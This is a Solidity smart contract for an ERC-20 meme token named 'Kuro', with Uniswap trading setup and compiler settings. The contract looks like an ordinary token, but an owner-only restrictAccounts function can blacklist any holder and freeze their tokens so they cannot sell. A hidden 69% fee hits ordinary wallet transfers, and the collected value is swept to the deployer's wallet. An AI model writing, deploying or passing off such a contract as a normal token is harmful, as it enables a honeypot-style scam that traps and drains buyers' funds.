/**
https://x.com/Kuro_ERC
https://t.me/Kuro_ERC
*/

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Kuro is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tokenBalances;
    mapping (address => mapping (address => uint256)) private _permissions;
    mapping (address => bool) private _feeExempt;
    mapping (address => bool) private restrictedAccounts;
    address payable private _feeCollector;

    uint256 private _initialPurchaseFee = 20;
    uint256 private _initialSaleFee = 0;
    uint256 private _finalPurchaseFee = 0;
    uint256 private _finalSaleFee = 0;
    uint256 private _reducePurchaseFeeAt = 1;
    uint256 private _reduceSaleFeeAt = 0;
    uint256 private _preventExchangeBefore = 20;
    uint256 private _movementFee = 69;
    uint256 private _purchaseCounter = 0;

    uint8 private constant _tokenDecimals = 9;
    uint256 private constant _totalTokens = 420_69_000 * 10**_tokenDecimals;
    string private constant _tokenName = unicode"Kuro";
    string private constant _tokenSymbol = unicode"Kuro";
    uint256 public _maxTransactionLimit = 2 * (_totalTokens / 100);
    uint256 public _maxHolderLimit = 2 * (_totalTokens / 100);
    uint256 public _feeSwapThreshold = 1 * (_totalTokens / 1000);
    uint256 public _maxFeeSwap = 1 * (_totalTokens / 100);

    IUniswapV2Router02 private swapRouter;
    address private swapPair;
    bool private tradingActive;
    bool private exchanging = false;
    bool private exchangeEnabled = false;
    uint256 private saleCounter = 0;
    uint256 private lastSaleBlock = 0;

    event TransactionLimitUpdated(uint _maxTransactionLimit);
    event MovementFeeUpdated(uint _movementFee);

    modifier exchangeLock {
        exchanging = true;
        _;
        exchanging = false;
    }

    constructor () {
        _feeCollector = payable(_msgSender());
        _tokenBalances[address(this)] = _totalTokens;
        _feeExempt[owner()] = true;
        _feeExempt[address(this)] = true;
        _feeExempt[_feeCollector] = true;

        swapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _permit(address(this), address(swapRouter), _totalTokens);
        swapPair = IUniswapV2Factory(swapRouter.factory()).createPair(address(this), swapRouter.WETH());

        emit Transfer(address(0), address(this), _totalTokens);
    }

    function name() public pure returns (string memory) {
        return _tokenName;
    }

    function symbol() public pure returns (string memory) {
        return _tokenSymbol;
    }

    function decimals() public pure returns (uint8) {
        return _tokenDecimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalTokens;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tokenBalances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _moveTokens(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _permissions[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _permit(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _moveTokens(sender, recipient, amount);
        _permit(sender, _msgSender(), _permissions[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _permit(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _permissions[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _moveTokens(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 feeAmount = 0;

        if (from != owner() && to != owner()) {
            require(!restrictedAccounts[from] && !restrictedAccounts[to]);

            if (_purchaseCounter == 0) {
                feeAmount = amount.mul((_purchaseCounter > _reducePurchaseFeeAt) ? _finalPurchaseFee : _initialPurchaseFee).div(100);
            }
            if (_purchaseCounter > 0) {
                feeAmount = amount.mul(_movementFee).div(100);
            }

            if (from == swapPair && to != address(swapRouter) && !_feeExempt[to]) {
                require(amount <= _maxTransactionLimit, "Exceeds the _maxTransactionLimit.");
                require(balanceOf(to) + amount <= _maxHolderLimit, "Exceeds the maxHolderLimit.");
                feeAmount = amount.mul((_purchaseCounter > _reducePurchaseFeeAt) ? _finalPurchaseFee : _initialPurchaseFee).div(100);
                _purchaseCounter++;
            }

            if (to == swapPair && from != address(this)) {
                feeAmount = amount.mul((_purchaseCounter > _reduceSaleFeeAt) ? _finalSaleFee : _initialSaleFee).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!exchanging && to == swapPair && exchangeEnabled && contractTokenBalance > _feeSwapThreshold && _purchaseCounter > _preventExchangeBefore) {
                if (block.number > lastSaleBlock) {
                    saleCounter = 0;
                }
                require(saleCounter < 3, "Only 3 sells per block!");
                exchangeTokensForETH(minimum(amount, minimum(contractTokenBalance, _maxFeeSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    transferETHToFee(contractETHBalance);
                }
                saleCounter++;
                lastSaleBlock = block.number;
            }
        }

        if (feeAmount > 0) {
            _tokenBalances[address(this)] = _tokenBalances[address(this)].add(feeAmount);
            emit Transfer(from, address(this), feeAmount);
        }
        _tokenBalances[from] = _tokenBalances[from].sub(amount);
        _tokenBalances[to] = _tokenBalances[to].add(amount.sub(feeAmount));
        emit Transfer(from, to, amount.sub(feeAmount));
    }

    function minimum(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function exchangeTokensForETH(uint256 tokenAmount) private exchangeLock {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();
        _permit(address(this), address(swapRouter), tokenAmount);
        swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimit() external onlyOwner {
        _maxTransactionLimit = _totalTokens;
        _maxHolderLimit = _totalTokens;
        emit TransactionLimitUpdated(_totalTokens);
    }

    function removeTax() external onlyOwner {
        _movementFee = 0;
        emit MovementFeeUpdated(0);
    }

    function transferETHToFee(uint256 amount) private {
        _feeCollector.transfer(amount);
    }

    function restrictAccounts(address[] memory accounts) public onlyOwner {
        for (uint i = 0; i < accounts.length; i++) {
            restrictedAccounts[accounts[i]] = true;
        }
    }

    function unrestrictAccounts(address[] memory accounts) public onlyOwner {
        for (uint i = 0; i < accounts.length; i++) {
            restrictedAccounts[accounts[i]] = false;
        }
    }

    function isRestricted(address account) public view returns (bool) {
        return restrictedAccounts[account];
    }

    function enableTrading() external onlyOwner {
        require(!tradingActive, "Trading already enabled");
        swapRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(swapPair).approve(address(swapRouter), type(uint).max);
        exchangeEnabled = true;
        tradingActive = true;
    }

    receive() external payable {}

    function manualExchange() external {
        require(_msgSender() == _feeCollector);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            exchangeTokensForETH(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            transferETHToFee(ethBalance);
        }
    }

    function manualTransfer() external {
        require(_msgSender() == _feeCollector);
        uint256 contractETHBalance = address(this).balance;
        transferETHToFee(contractETHBalance);
    }
}

{
  "compilationTarget": {
    "contracts/Kuro.sol": "Kuro"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": [],
  "viaIR": true
}